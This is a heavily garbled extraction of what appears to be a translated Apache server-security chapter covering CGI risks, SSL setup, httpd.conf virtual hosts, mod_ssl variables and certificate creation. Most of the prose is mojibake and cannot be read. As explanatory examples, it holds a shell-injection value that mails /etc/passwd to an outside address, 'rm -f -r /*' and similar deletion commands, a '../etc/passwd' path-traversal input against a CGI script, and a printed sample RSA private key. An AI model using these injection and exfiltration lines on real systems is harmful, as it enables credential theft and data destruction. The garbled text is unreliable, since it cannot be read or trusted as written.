��� � � �! ��"   � � n#& #� &�, �   ��. �� � �, 
"#� . . � , _����1�        Eu� ��us, )��	�up � )����2 E

  ����1 ��2 #�.���.� � � #�/ ��       n��#.� �	 ��� 
q�, �p #.�&"  #�/ �q	��1 z�    �	 �	 �Y �� 
	�2�� . �.��. )���/ �	"� ���2 ��� 
q�, �	�p z"#�p �� � � �:

rm –f –r *
   �� v/�	 � Up )#&�  �n#.���  � � ��"�1�&���� 2�& 2�1� �� � � � �. � � #.��! u"    � ��u�2 


�1�& 2���2 )��	�p �	 gUY�, "#�p �� � �w .
�" U^� n#��,� 2 � �".��B�/ �� �p ��� )� Fq�	�p o��! �   2�u& J�us.�   �u	��	 2 �up

  #&�	 �wV��� B�/ .��	�   �� n2�-��� �.�"��	 "�� ���$� �#�	� #"��	 � n#& ���.�"�   n#u& ��1��u& 
#&�	 .  )��	�p��"  �    �	 � )�&2�1  ����"  z _, E��3 , :�Xh�� #��p  . �#�	� 2�   �	�up �u� 2�� 
  �	"      �p )��	�p �� n��� z����s,��,� ����	�0, � u, y>��, #.�2 � #.�u&  . 2 u" z �u��.�,

     B�/ �� 
,� ��Yd�� �	 �	�p"  2�& �Xh # .    �� � �,�.�	 ��n#.���n2�2 ��  �u	 gUY�, E�  u"  n��u� z
�,���� ���  . �. 2�    , ���! �	�p �� �s�  �,�.�	 #.��! ��   �1� 2 �p � �,� n��� ����� � u, �  #u&�	 

��. �� �". �,�.�	 � #� �	 ���! _n#.������"�1� 2 �p �, ��� n��� ��.��! ����2 #�� �#�p �# .
 �	 ��X��" 2�� #�          �  �� �	 #.���	 �p #&�	 ��&�2 2� � ����2�    #u&�	 ��u&�2   � �u� �  u�_� � 

i!�� #�2 � . � 2� � �"   :�^ 
�.�,���. �2�& ���	 �#�	� 2 #.��! .�"�	�p�	� )��� 2�� 
N �p ���
	�  �	�p ����& �root    ���� �	 �"  z _, E�� ̈�� �    �	 � 2�1,���.� ��Y, � , � #�p .   � ��X�� � " 


  � )2�� ��#	"   >	 \#� ����& 
���   �� )�� ��,       �1� �� n2�-�u�� �	 �p ���  u�      �u� �u	 )� :��
��_�����2 �� �#��p �#.
nXW XA<	� )	�+�������< � �

   �-� �;Xd �p ��.����	 �E� ��0�.�,����U,�/ �#  � #�.�, F[�.�" � �u.��!�" �u� �   �u	 � �	�up 
" �� z� ��U�/ �    , 2�#], 8��1 �	 � #��p .  � 2 "  �_  �	 �s�� �p :�� �#. " �� E�   �u��$ 2 
Up� �	 �X>. �	�p ���2 �2 �����#.�2 2� � ��  :U1�2� �1 � �.

 U1�2 )��	�p� ��.� �"       z��, )�,��� )�2 �p #��>� �����     #��u>� �� ) u"  .��	�up ��   �up 
����2�   �	 ����� ��	 � �	 �  ���], )2�p J�w��   )� #.�2 .( � ��X��"        2 �u�� 
uq�, )��	�up 


1 Password
2 Superuser
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  ����2 GU�V, b����  �� #�&�	 � , � ���1 �  	 :��-! E� .��	�p 
�����2 of� �p � #$ 2 ��.� 
�]-^ ��, ��� ��) �1 )��	�p� (.��	�p ���!~�	 ��� n�� � �p ��p �V0, � �#.�2 �E.

��	�     �	 )��	�p ���2 �2 �� " �,� #�    �d � �! 2�, � � �2 �� �� E�  �1 )��	�p n�	2 ��	 " #
  	 �d2 �	���0�  �p 2�1�	 �      �! � ��.� � E$   �p 2�#], )�q,� #�E.� ��X��"#	 
"�Y, 
�. �  �up �>

 U1�2 )��	�p�   ��1 Ep 2���� �      �<� �;,�p ��.� �	 � #��>� � �2 )��"E . 1�	 2�  u, �u�.� 2��, �-
 �.��1 #�.��! �1 )��	�p �� �!�#�&�	 .

     � �	 M��!� �	 jd�� 2"    � �	�p �� �	 �.���"�.����  , n�� � � �2 �   �	 E�����  ����2 �, � �  u� �#
    , �p �� �� � #�p�12�� )���/ �	 #����Up �]-^ 2 ���	 2�1 #�������! "#�p � .�" 
" z

 #  �#0��    , �, � ��� � ���1 �      q��p n2�#], �	 ���! )��	�p �p E�   Y! �, �p  �u�  n2�up 
� u" E
2�����#�&�	 ��&�2  .�" �����1 
� 2��, J_U�>,"��� �:

• �1 )��	�p�  �	 ���! "   �	 #�#.����,�.�	 � �����" n2�up �V0, �p � u" u����2 E�
	 �. � #�&�	 ��&�2���0.

•����� �X. "   �U�$ �	 �X>. #���� " ����12 #�.�, �.�p�" �	 �]-^ z"   �u	 J�u. z
 M�<1 MB) ��	��� " ���	 )2�p _����� ("�. n���� �	 �"�>��� �d�-�, ) #�.�, !

�# "  � ( /    � � �]-^ J�. 2� �� �n��yx�" #&�	 � .� u"  ��u� 
"    �u,�.�	 �u	 ���.�" u>�
  d2 � ��2� � B	�d g�w0���#��>�  .���� �q�����	 ���U  ��� �u� �� "  ����u	 _

   �����	 �� )2�q. n2�-����    _  �	 �	�h M�< �	 ��	�n2�2 ����� �	�h �.2 " 2��, �w
�	"1�	 2 � 2�, �	 2�, #��,� ��1 G0p �� F� 2��, �����	 �2�p  .
  �.�-�¡�,".��      , B�/ �, �����1 \;1 �	 Fq� #�p  . � M��"     2�#.���� n��2 �p 
HTTP  �p 

TR �	�p o��! ���! ���� root ��� )2�p ��	 B	�d )�" 
"�2 z��! B"V�2�2  : � �u	 u" Z� 

,� ����1  .��	�p #��  )�q,� �p  2�� 3  �� #.�2 �   . 2���/� B	�d �    � #u�.���. #��u> u"      ��u	 � n�u�2 


#��p( .��	��	"  
����� �	 "         )���/ �	 �p �	 ���� J�w�� Bd�#$ #root   � �p 2�& �� � u"    �u.��1 

���N.

 2 Bq0," ����� �p ��� )� �w���-U�V, � 2  u".��    �up #u.�2 2�u � Fq ��u�2 u�� � � 
����n#�� �0� ��.�X� , � #��p  .�"      :�q. �� �� ���2 
"  ��#���! � _�"   E^�V�, 2���� �p #��>� 
,�#��p n2�-������ ��.� �� #�.��! .

 / �	    ���V	 ��� 
q�, M�k, )���� ,�� E�     y��d 2 � HTML   �	 "  ���-	 �	�p z�E . �u.�"�
����2��&�. >-! ��       ��. �]-^ 2 � J�� � n2�p �" , t� #�2  .��     �u�p2 � n2�up �� � J�� 

Submit  , � �2�0� .&�,� � 
� n2�2     �	 � ������� , �         jud�� 2 �up #�u���  u"  zURL  �   �u	
 n2�2 n������� � �������� , �#�p . ���	 J�w���"�����    � )��� � )� ��#�	�q�  n2�up � u"   �up E
 � )2�����"  
URL   y �, ��2��&�.��   2 ����� , �2�&  � � "  
�2���&�.  ��u�], �    � J�u� 

  2"  zn#.��� ��	 �  #Y	 n2�-��� � 1� � , n��#�p .0V	 ��� 
q�,�� �� " 
��2��&�. � �u	  u" 

#&�	 :�^:

1 Login
�.        �p ��� �2��, 2�#Y, �� �q" 
"���#�"�      #�p �, B�/ Fq�.�" �� ���	  .   2 �up ���        �	�up�	� �u	 ���u�. )� 

 n��2 )2�p ��	 ���	 )2�	TR�>�. .
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echo "You have sent the following message: $MESSAGE"
    &�, �p ��� )� \#��   �, 
" � z� ¡! J��"   �	 # #���-	 �	�p.    $ �	�p ��� )��p� ��U����#&�	 

 ��� 
q�,� ��&" )���/ �	 � �$MESSAGE��	 �#���-	 �, :
`mail wolf@lair.com < /etc/passwd`

   ����p��p �p �s.� ���    M�d Bf. (`)      )���/ �	 ����� o��!�%�  ��   ���2 )2�pXY!�  u, ��-
  �#.�&   �.�,�], )#& n2����� v/�	�!"  
n#.��� &�, �  
"�Y�n#.���passwd , � 2�u& . u"  u�$ ��

�,� ���2 E ��, ��� 
q" �	 � ������#���-	 :
`rm -f -r /*`

2�	�. v/�	 �p� B,�p �����, �2�&!
nX\ X7	���������	 ������ �

����� ���>, ��  n#& ��-�� :�^ �	 �"�, B$ �#�p:
•,�w���  ���� �p �    , �� � �	 {��& �      9p � n#& B^� �qX& �	 �#�p���� �  u"2��  � 

  � 2�1 ��" , 2�s�#�p .�" 9p 
� �	�up ��� �/�� �	 ���   �u	 � 2�u1  u"  �	�up z

,�  , t��p �!�#��2 .  M�k, 2 �,)  J�2 B��(   �	�p   �	�p ��}. 2�,webuser ��

  n���webgroup���.   of� #�"��� U^� � �	�p ��� �	 �rootd�	 �, � #u.�,� u�� �
���#�"��� #  "  #������12�      u, �u��� � �qX& � #u��2 . u�"���# Uu^��  u� �  n�u� �
������12�    �. ���� � �qX& �    2�qU�/ �	 of� � #�2#�"������ 2�2 :�}. #.��� 

   . :�^ 2 ��  #  #.��� ��"#�  � � " , 2�s�  #�p"    �qX& �	 t��p :�^ 2 ��� ��
"q�, ��!�1 � �#�2.

• ��1�  ����� �	     u��	 �d2 �	 ���  ��u	 �    �u���p��p 2�u � �    u��	  �u.��1 �
,�.�& �� �#� � "         u�. B$ B,�p �< �	 � ���>, Z� 
� #u�p.�."   )��#�u> �u�2-

��&�.���CGI E��	"#�&�	 ��1 2� � J#/ ya��, #.
��	� �	 M�k, ��2��&�.� n2�� "�p � �! ��#:

#!/bin/sh

cat /somedir/$1

,�.��!�  �p ��� #�  � �� #"  
��2��&�. ��	 �   ���], )2�2 )�0. �n#.�����   ���     �	�up �up
  ��� n2�p ��V�.� . � �.�-�¡�,"  
��2��&�. ��2 �   ��� ��1 #��  .�!��	"  �d� ��.� 
�    �up ��� 

  �#f,$1   �	��	 "../etc/passwd"    , v/�	 �p 2�& �   2�u& ��u��� n#u.���/etc/passwd    )�u0. � 
#�2 ! �p ���� � #"      n#& \�<�	 � ��1 
)      n2�� �p �p ��� n2�2 )�0. �	�s!�� . ��>(�   n�uw.� 

2 ���>,"�w��p 2 � �#f, ��� 
$1  �u	��	 "xx   /etc/passwd" 2�u&   n�uw.� �/somedir/xx �
/etc/passwd  ��. �2 ��"   #& #����1 n2�2 t.    �� B$ n� �.�-�¡�, "  U,�p � j�  2�#. 2� �  .   �u� �	

  M�$�<��  )��"� �� 
���"2�� �p 
"�����2��&�.  �u���p��p B,�u& of� �  � �u}. 2�u,   �u�
1 {��& ��f.�U�	�1 ���� .

 U1�2 )��	�p�    #.�2 � )�&2�1 :;q0,  .����,"  � ��.� 
" ��.� �p ��� 
��2 ��u&�. �u��
CGI ��	 � , 2�1 :�]-^ ��."#�> . ��u�Y, y�. 2� ��u��� � ��u��� �u���s,� ��up � ��u	 �
�� �� � "  
��2��&�. 2�#. �� .�"  , 2�, 
�   o��! #.��!suEXEC   p 2�& B$     � Bu�� 2 �   �u	 

���1 )���1�2�� E.
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nX\XWXSSL��� �+ � !Z*9 \
�����    �V>. �� @  ��SSL   f�>, �< �	 � �0� E�.�X� , �  . � #�p����      M�u�/� �u	  u"   �Uu^� z

��%�� . ��> . ��	 ��X��� � "  �	 �p 
"  #OpenSSL �  �� org.openssl.www://http 2 "  ����p u�# .
� �	 �Y ��, J�w��" 
n�w	�� �#0� �	 ", � ��, ���&".#.��1 �p #���� :

PLEASE REMEMBER THAT EXPORT/IMPORT AND/OR USE OF STRONG 
CRYPTOGRAPHY SOFTWARE, PROVIDING CRYPTOGRAPHY HOOKS OR EVEN 
JUST COMMUNICATING TECHNICAL DETAILS ABOUT CRYPTOGRAPHY 
SOFTWARE IS ILLEGAL IN SOME PARTS OF THE WORLD. SO, WHEN YOU 
IMPORT THIS PACKAGE TO YOUR COUNTRY, RE-DISTRIBUTE IT FROM THERE 
OR EVEN JUST EMAIL TECHNICAL SUGGESTIONS OR EVEN SOURCE PATCHES 
TO THE AUTHOR OR OTHER PEOPLE YOU ARE STRONGLY ADVISED TO PAY 
CLOSE ATTENTION TO ANY EXPORT/IMPORT AND/OR USE LAWS WHICH APPLY 
TO YOU. THE AUTHORS OF OPENSSL ARE NOT LIABLE FOR ANY VIOLATIONS 
YOU MAKE HERE. SO BE CAREFUL, IT IS YOUR RESPONSIBILITY. 

 �1�uu& �uu	 M�uu$��uu�� juuX�,�uu,�	 �2�uu�"��uu1 �;,�uup � )� � E�uu, �uu�p�E . �1�uu& 2 
/usr/src/apachen#uu.���httpd-2_0_28-beta.tar �1�uu& � httpd-2_0_29�2 �uu"E . � �1�uu&

, n�	�2 � )� � n2�p \x$����"E:
rm -r httpd-2_0_28
tar xvf httpd-2_0_28- beta.tar
cd httpd-2_0_28

	������� 2#s, �1�� ��0� n���� �	 �.�X�SSL:
./configure --with-layout=GNU --enable-ssl --with-ssl=<path to ssl source> --
prefix=/usr/local
make
make install

�. 2� �sn#.����� � �"httpd� 2" �1�&�bin>, �]!� �Prefix, ��1�� �2�&.
  #��n#.���FAQ) t������   ��Vu��� � M��#�, (-, u�#  2html.faq/org.openssl.www  � 

html.ssl_faq/ssl/2.0-docs/org.apache.httpd2�2 2� � .
nX\XWXW X7�9���� ���+�e�

 �1�& 2…site.ssl/apache_2n#.���� ��	�q#�� g	��, "2�2 2� � B:
User webserv
Group webserv

LogLevel notice
LogFormat "%h %l %t \"%r\" %s %b %a %{user-agent}i %U" sidney

#SSLCacheServerPort 1234
#SSLCacheServerPath /usr/src/apache/apache_1.3.19/src/modules/ssl/gcache
SSLSessionCache dbm:/usr/src/apache/apache_1.3.19/src/modules/ssl/gcache
SSLCertificateFile /usr/src/apache/apache_1.3.19/SSLconf/conf/new1.cert.cert
SSLCertificateKeyFile /usr/src/apache/apache_1.3.19/SSLconf/conf/privkey.pem

SSLVerifyClient 0
SSLSessionCacheTimeout 3600

Listen 192.168.123.2:80
Listen 192.168.123.2:443
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<VirtualHost 192.168.123.2:80>
SSLEngine off
ServerName www.butterthlies.com
DocumentRoot /usr/www/APACHE3/site.virtual/htdocs/customers
ErrorLog /usr/www/APACHE3/site.ssl/apache_2/logs/error_log
CustomLog /usr/www/APACHE3/site.ssl/apache_2/logs/butterthlies_log sidney
</VirtualHost>

<VirtualHost 192.168.123.2:443>
SSLEngine on
ServerName sales.butterthlies.com

DocumentRoot /usr/www/APACHE3/site.virtual/htdocs/salesmen
ErrorLog /usr/www/APACHE3/site.ssl/apache_2/logs/error_log
CustomLog /usr/www/APACHE3/site.ssl/apache_2/logs/butterthlies_log sidney

<Directory /usr/www/APACHE3/site.virtual/htdocs/salesmen>
AuthType Basic
AuthName darkness
AuthUserFile /usr/www/APACHE3/ok_users/sales
AuthGroupFile /usr/www/APACHE3/ok_users/groups
Require group cleaners
</Directory>
</VirtualHost>

 2�#Y! �#f,�  � �� " 2 
"�p�� �	 ���" i! #��   �& �p #�p �" �p #� M;,   #u&�	 �� .   .2 2 �u�X�� u���
Yd���  . J�~ �       ��u�� �Vu>. �� �u� �>�  i! �  u�� 2�2 �.     s/ 2�u, �u��!  u�        �u�� �up �u�� )� y

SSLSessionCache �#f, �	  none) � )��� �p���� ��� t (�2�#f,� 2�& " \x$ �;,�p �
 ����, �2�&� �	 2�d� )2�p �#�����2�	 #���V.  .

nX\XWX\ XI�������3� �y�
�"  
�.����  � :�/;<� "2��   n�	2 SSL   Yu%� � �  uUY� ��  u	 ���],� �u���SSI   � CGI  E���u�
,�#�p. i�, �    M�#  2 ���I(? � � n#& �>#.� . ��-� ��X��� ���   ��	 �p � �/ "  �������    �u	 � 

1�	 �yf/�i�, �#��>� =���2 2 J�. �2 �	 ���.

 M�# I(? .i�,�����], ������� 2 �v2��	 �SSL
Variable Value 

type
Description

HTTPS flag  ��HTTPS, n2�-��� �2�&
SSL_PROTOCOL string  �V>.2�2��dSSL (SSL v2, SSL v3, 

TLS v1) 
SSL_SESSION_ID string The hex-encoded SSL session ID
SSL_CIPHER string �w._, J�.���� �p �	 
SSL_CIPHER_EXPORT string True��w._, ��� �!�2�^ n2�-��� 2�, �

#&�	.
SSL_CIPHER_USEKEYSIZE number 	 2�#Y!�����Yd�� ��w._, 2 ��� �p �	 �
SLL_CIPHER_ALGKEYSIZE number 	 2�#Y!������w._, 2 n2�-��� B	�d �
SSL_VERSION_INTERFACE string  �,�.�	 �V>.mod_ssl
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SSL_VERSION_LIBRARY string  �,�.�	 �V>.OpenSSL 
SSL_CLIENT_M_VERSION string ���� �V>. n��&�3n��1��
SSL_CLIENT_M_SERIAL string �� n��&"���� M����n��1
SSL_CLIENT_S_DN string Subject DN ���� 2 �n��1��
SSL_CLIENT_S_DN_x509 string Component of client's Subject DN, 

where x509 is a component of an X509
DN 

SSL_CLIENT_I_DN string DNª! �"n#��p #N���� �n��1��
SSL_CLIENT_I_DN_x509 string Component of client's Issuer DN, 

where x509 is a component of an X509
DN 

SSL_CLIENT_V_START string ���� �X�/�� �	�p ){��& )�,�(
SSL_CLIENT_V_END string ���� �X�/�� �	�p )�� )�,�")�(
SSL_CLIENT_A_SIG string �w��" 2 n2�-��� 2�, E���,�������

n��1��
SSL_CLIENT_A_KEY string �w��"Up 2 n2�-��� 2�, E��,��/ #�

�����n��1��
SSL_CLIENT_CERT string �����n��1�� �	 �x�#p�PEM
SSL_CLIENT_CERT_CHAINn string ���������x�#p �n#& PEMs.� 2 � n�

������	�p 
SSL_CLIENT_VERIFY string �.��sNONE, SUCCESS, GENEROUS, 

or FAILED:  
SSL_SERVER_M_VERSION string ���� �V>. n��&������
SSL_SERVER_M_SERIAL string �� n��&"���� M�������
SSL_SERVER_S_DN string Subject DN ���� 2 ������
SSL_SERVER_S_DN_x509 string Component of server's Subject DN, 

where x509 is a component of an X509
DN 

SSL_SERVER_I_DN string DNª! �"���� n#��p #������
SSL_SERVER_I_DN_x509 string Component of server's Issuer DN, 

where x509 is a component of an X509
DN 

SSL_SERVER_V_START string ���� �X�/�������) {��& )�,�(
SSL_SERVER_V_END string ���� �X�/�������) �� )�,�")�(
SSL_SERVER_A_SIG string �w��"��,� 2 n2�-��� 2�, E������ �

�����
SSL_SERVER_A_KEY string �w��"Up 2 n2�-��� 2�, E��,��/ #�

1 Certificate
2 Issuer
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����������
SSL_SERVER_CERT string �����������x�#p �	  �PEM

nX\X\X =<�� ��	#M [�
� ���(�
     ���� �V>. 
���� �}. 2 )�#	�    . ��& �n2�-��� 2�, �   �	 ��" ���� z� �,�� "0� �2 "# .  �1�& �	

…/src� ���2 � ���"�p 2�� � ��#:
% make certificate

�� n�	2 ��& ��"��0��� =2� � ��", �2�&:
ps > /tmp/ssl-rand; date >> /tmp/ssl-rand; RANDFILE=/tmp/ssl-rand /usr/local/ssl/
bin/openssl req -config ../SSLconf/conf/ssleay.cnf  -new -x509 -nodes -out ../
SSLconf/conf/httpsd.pem  -keyout ../SSLconf/conf/httpsd.pem;  ln -sf httpsd.pem ../
SSLconf/conf/'/usr/local/ssl/bin/openssl  x509 -noout -hash < 
../SSLconf/conf/httpsd.
pem'.0;  rm /tmp/ssl-rand
Using configuration from ../SSLconf/conf/ssleay.cnf
Generating a 1024 bit RSA private key
...........++++++
..........++++++
writing new private key to '../SSLconf/conf/httpsd.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]:US
State or Province Name (full name) [Some-State]:Nevada
Locality Name (eg, city) []:Hopeful City
Organization Name (eg, company; recommended) []:Butterthlies Inc
Organizational Unit Name (eg, section) []:Sales
server name (eg. ssl.domain.tld; required!!!) []:sales.butterthlies.com
Email Address []:sales@butterthlies.com

2��"���      |.�� :�^ �	 ��& (bold)       ��� n#& n2�2 )�0. ~�	 M�k, 2 .  2�, ���! �   �up 
�	"  #d2�  �p 2�� g�#� .   J������   �	 �p ��� "     B,�p ��,�2 J�. #(FQDN)�����  �p 2�� � �# .� u" 


 ��	 �p�      ��� #.���	 �	�p �p ��� )� �   � �p #�p " � �"     u�2� )��� g	��, =2� 
�     �up �u�� 
2�uu	 n2�uup �uu���12 .��uu	��. n#��uu0, �   �1�uu& �uu	 � n2�uup �uuY ��, ~�uu	 �1�uu& �uu	 �uus

…/SSLConf/conf ��. �Y ��,�"# .  ��&�	" � #�_� X& � � � u"  B)  d2 �u.�    )� #u�.�, ��uf (  2 n#u.���
httpsd.pem��. n#��0, �"#:

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDBpDjpJQxvcPRdhNOflTOCyQp1Dhg0kBruGAHiwxYYHdlM/z6k 
pi8EJFvvkoYdesTVzM+6iABQbk9fzvnG5apxy8aB+byoKZ575ce2Rg43i3KNTXY+
RXUzy/5HIiL0JtX/oCESGKt5W/xd8G/ xoKR5Qe0P+1hgjASF2p97NUhtOQIDAQAB
AoGALIh4DiZXFcoEaP2DLdBCaHGT1hfHuU7q4pbi2CPFkQZMU0jgPz140psKCa7I 
6T6yxfi0TVG5wMWdu4r+Jp/q8ppQ94MUB5oOKSb/Kv2vsZ+T0ZCBnpzt1eia9ypX
ELTZhngFGkuq7mHNGlMyviIcq6Qct+gxd9omPsd53W0th4ECQQDmyHpqrrtaVlw8
aGXbTzlXp14Bq5RG9Ro1eibhXId3sHkIKFKDAUEjzkMGzUm7Y7DLbCOD/hdFV6V+ 
pjwCvNgDAkEA1szPPD4eB/tuqCTZ+2nxcR6YqpUkT9FPBAV9Gwe7Svbct0yu/nny
bpv2fcurWJGI23UIpWScyBEBR/z34El3EwJBALdw8YVtIHT9IlHN9fCt93mKCrov
JSyF1PBfCRqnTvK/bmUij/ub+qg4 YqS8dvghlL0NVumrBdpTgbO69QaEDvsCQDVe
P6MNH/MFwnGeblZr9SQQ4QeI9LOsIoCySGod2qf+e8pDEDuD2vsmXvDUWKcxyZoV
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Eufc/qMqrnHPZVrhhecCQCsP6nb5Aku2dbhX+TdYQZZDoRE2mkykjWdK+B22C2/4
C5VTb4CUF7d6ukDVMT2d0/SiAVHBEI2dR8Vw0G7hJPY=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE----- xoKR5Qe0P+1hgjASF2p97NUhtOQIDAQABMA0GCSqGSIb3DQEBBAUAA4GB
AIrQjOfQTeOHXBS+zcXy9OWpgcfyxI5GQBg6VWlRlhthEtYDSdyNq9hrAT/TGUwd
Jm/whjGLtD7wPx6c0mR/xsoWWoEVa2hIQJhDlwmnXk1F3M55ZA3Cfg0/qb8smeTx
7kM1LoxQjZL0bg61 Av3WG/TtuGqYshpE09eu77ANLngp
-----END CERTIFICATE-----

�" 	 
�  ��0" ���� z� � � ���Y, ��  � ��� " Up ��� ̂ ��1 #�      ���u� �u	 � �, � p�!  u�  n2�up y
��� .   ���V	 ��& ��� 
q�,�     � ��.� �p #   Up � n2�p �# � ̂ ��1 #�  �1� 2 ���! � � �root  ��ud
�2�#. ���� � ���� 
�      n#& ��,� �, 2�1 o��! � ��X�� �p"  �,�� �<�u1 �u	 
" u0�  ���u� )2�u	 �

��� ..2 2���Yd�� �2�#Y! ����.�,��� ����� �p #.�2 2� � �X�Y, �¡! � ��,� � ���", #��p#� .
�" ���� 
� ���� �  
 )�#	_, E��� 2 ���� �� �" :�^ 
httpsd  �up �	 {��& J�w�� 2
   � )�  #���1����# .  , �}. �	�    �� n2�-��� #� _, E�� � " 	�1 n#�  � �#&�X.  u"       )#u,� ~�u	 j.�u, ��
�����    , �p2�1 :�^ �	 � �� 2�&�  , ��� ����1�   )�!2�1 #" ���� z� ��>	 "    B,�& �p # u" z

� _, E�   �#&�	 Makefile � �"��"  tV	 �n2�p t"certificate:"� � �_� � n2�p �#" ��–nodes � 
 �p \x$�     �2 �,�2� BXd #�.�, � �#�#)  �p � �!�     �u�� �p #Configuration     2�p ��u � n�u	�2 � u" �#

Makefile  �	 n�	�2 �" � #"��" �p t�#( ." , ��.��!�  � M�� #"   �p M�X.2 � ��    u, �up #�!   ��u	 #u.���
,�w���    �� �p "q� ��     ����u� �#^ 
����>, 3    ���u� �u���12 �  u, �p� u�#� -,  u�  #u&�	 # .  �u	

…/SSLConf/conf�p 2�� � ��� �#:
% openssl req -new -outform PEM> new.cert.csr
...
writing new private key to 'privkey.pem'
enter PEM pass phrase:

 _, E��    p 2�� � 2�1        �2 ���� BXd #�.�, ��0��� �	 � n2��# . u�����      �u���12 ��u& �� 

 _, E�� 0��� �N      �, �p #& #���1 "swan", �p �	 � ��	"E.�. 2 � �s u"  ���u� �u���12 z�
 n#& ��,�4    B,�& �p  _, E��  �� :�/;<� �"��    Up �	 �p ��� ��&� ̂ ��1 #�      n#u& _u, ��& 

���. � "  ��	 2��, 
�   
���� " ���� z������ #�,�~  . � F9� u"       �u	 � �u���12 
 u"  zCA
, )�!2�1 ��V�.� gX<������# .

    ���V	 ��� M�$ �� �	�  # _, E��  ��	 � � �$� �    ���� )#,� ~�	 2 �  �p \x$ �     :�u^ �u	 �#
�"�p B�/ ��#:

1 Certificate Authority (CA)
2 Challenge password
3 Certificate Signing Request (CSR) certification authority
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% openssl rsa -in privkey.pem -out privkey.pem
�X�� �	 �"  # _, E��  . � �  �p 2�� _�# . �� �	      �	 � ����12 :�^ "      n#u& �u�,� ����12 z

#X!", B��p�#:
% openssl x509 -in new1.cert.csr -out new1.cert.cert -req -signkey 

privkey.pem

)���       ����s, ��� ���	 �#& ��-� �;Xd �p �<� ����2 �  � �	 "  
n#.���     �u	 2�#], � root
�p�#:

chmod  u=r,go= privkey.pem

��&   )��p� "   ���� 
,� �V>. z�(httpsd)  �" ���� z�(new1.cert.cert)  �"  ����12 z
���� n#& ��,��(new1.cert.csr) � " z(privkey.pem)�1� 2 ��2 �"#.

nX\XaX�/��	#M !�
�����
, �������1� #"���� z��! �X�Y, ��p ���	 �#" �	 #"q� �� ��.�,����� "��. �Y ��, ��"#:

Resellers at http://resellers.tucows.com/products/
Thawte Consulting, at http://www.thawte.com/certs/server/request.html
CertiSign Certificadora Digital Ltda., at http://www.certisign.com.br
IKS GmbH, at http://www.iks-jena.de/produkte/ca/
BelSign NV/SA, at http://www.belsign.be
Verisign, Inc. at http://www.verisign.com/guide/apache
TC TrustCenter (Germany) at
http://www.trustcenter.de/html/Produkte/TC_Server/855.htm
NLsign B.V. at http://www.nlsign.nl
Deutsches Forschungsnetz at http://www.pca.dfn.de/dfnpca/certify/ssl/
128i Ltd. (New Zealand) at http://www.128i.com
Entrust.net Ltd. at http://www.entrust.net/products/index.htm
Equifax Inc. at http://www.equifax.com/ebusinessid/
GlobalSign NV/SA at http://www.GlobalSign.net
NetLock Kft. (Hungary) at http://www.netlock.net
Certplus SA (France) at http://www.certplus.com

� 2 ��X��", )���.��!�   �p�u& �u	 # u,�
   �u& ��u>� �_u��"Gcom.parssign.www://http
��. �Y ��,�"#.

nX\XbX<z�7�9��9 7�M����*(9 ���	�� �
SSL   �� " Up z�  ��	 �>0. #�      , n2�-��� M��!� �� )2�p 
,� �#�p .     ���u� M�u�!� ���� 2�  �u�
��	�   � � n#& � Up �    , J�s.� g���! �>0. #�  2�&)       �uw._, �� n2�-�u�� �U/ �	 ��X��� Up  u� #
,��/� � " Up 
�   �1� 2 ���! #�  ������   � n��1�� ���  .(�"  
" ��� z"     �u�� �X.�u,� #u� ��	�u�	 �" 


Apache-SSL  �n��1��,� ��	 #�.��!�    Up �� 2#s, n2�-��� ���#�  �>0. #��p g���! .  �.�-u�¡�,
   ���� �p �s.� ���   �� � M#, �� �" #�� (#�"�����  , n2�-��� �  �#�p��!���       M�u�!� �up 2�#. 2� � 

#Y	�n��1��   )��� ��#�"���UXd�  #�p n2�-���  .��	��	"      2 �>0. :�/;<� �p ��� J�~ 
 u" z
1��n�  n��  �1� �	 �p�   ��� �#�"������Apache-ssl  1� �#&�	 � 2�& n�. � " a� 
�   �,�.�	 �-gcache

  2 ouu��! )� �uu�� �uup �uu��"�p���uu���SSLCacheServerPath �SSLCacheServerPort �
SSLSessionCacheTimeout  ���� 2 �    �Vu>. 3,4   � SSLSessionCache   ��u�� 2 �    �Vu>. N

� 2 �#Y	 �p" B�� 
%�!�, n2�2 ��, M���p �#.�&��&2.
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nX\XcX��������#�SSL
 � 2"  2 tV	 
"�p������SSL   ���� 2 2� �, � �V>.N��	 �p�� � #u�	�q�SSL u>� J�~  #��
%�!�, n2�2 ��#.�&.

SSLRequireSSL

SSLRequireSSL
Server config, .htaccess, virtual host, directory
Apache v1.3, v2

�" 2 
"�p�� . ��   �	 ��SSL, � 2�2 ���0V	 2 #.��!�<Directory>��	 �� �� �a�-$ � M�Y��
 ��� )#&�SSL  2� �q	 .       �� n2�-��� J#/ :�^ 2 SSL   � 2� � �	 " 2 
"�p�� ����2 ���   ju�, 

,�2�&.

SSLSessionCacheTimeout

SSLSessionCacheTimeout time_in_seconds
Server config, virtual host
Available in Apache v 1.3, v2

,�w���  ��	 �p � ��� �   �	 
n��1��   �	 �����  , B��, � Up �2�&�  ��! �>0. #� , #�2�& .�" 

2"��p�    � �X�/� )�,� :#, �" Up 
�  1� 2 #�n� .��. n���.�h y>$ �	�	 ��, )��#�p . 2�uf,"  �u��p �


,� >� �! �� #���    , )#& �!#�p v/�	 �#.�& .�"   �f�, �� F� ���  Up )#& � �	 �#"    Up �u. �� # u�#�
��!�2�& # .~2 �	" 2#Y�, B������#�"M�k, )���/ �	 �#��>� 
,� ;,�p ��/�� z:

SSLSessionCacheTimeout 3600

SSLCACertificatePath

SSLCACertificatePath directory
Server config, virtual host
Available in Apache v 1.3, v2

�" 2 
"�p�� >, �� �1�& ���  ���� �p ���  �CA �#�w. � , �     u, �Vu0, � 2�&� #u�p .� u" 

������	 ��" y��d 2 #PEM#�&�	 .

SSLCACertificateFile

SSLCACertificateFile filename
Server config, virtual host
Available in Apache v 1.3, v2

  ���� ��& ������� ¡! �"  ���! \�< �� n#& #" zCA, � �x�"�"� �� �# u"2 
"�p� u�  �u  �u	 ��
SSLCACertificatePath��	� ���! )2�p �V0, n#.������� ��p n2�-��� �#.
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 ���� 2�   �V>. @�	 � " 2 
"�p�� , ��  )��!�#.����  ���� B,�& �p �  �u�� CA   M�uXd 2�u, 
����   2�p �V0, � . � "  
n#.���       n#& e�]�� n2�� �< �	 n#.������   ���u� GU�V, �    yu��d 2 

PEM��� .
SSLCertificateFile

SSLCertificateFile filename
